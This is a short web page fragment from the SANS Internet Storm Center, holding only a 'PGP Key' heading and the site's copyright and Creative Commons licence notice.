PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.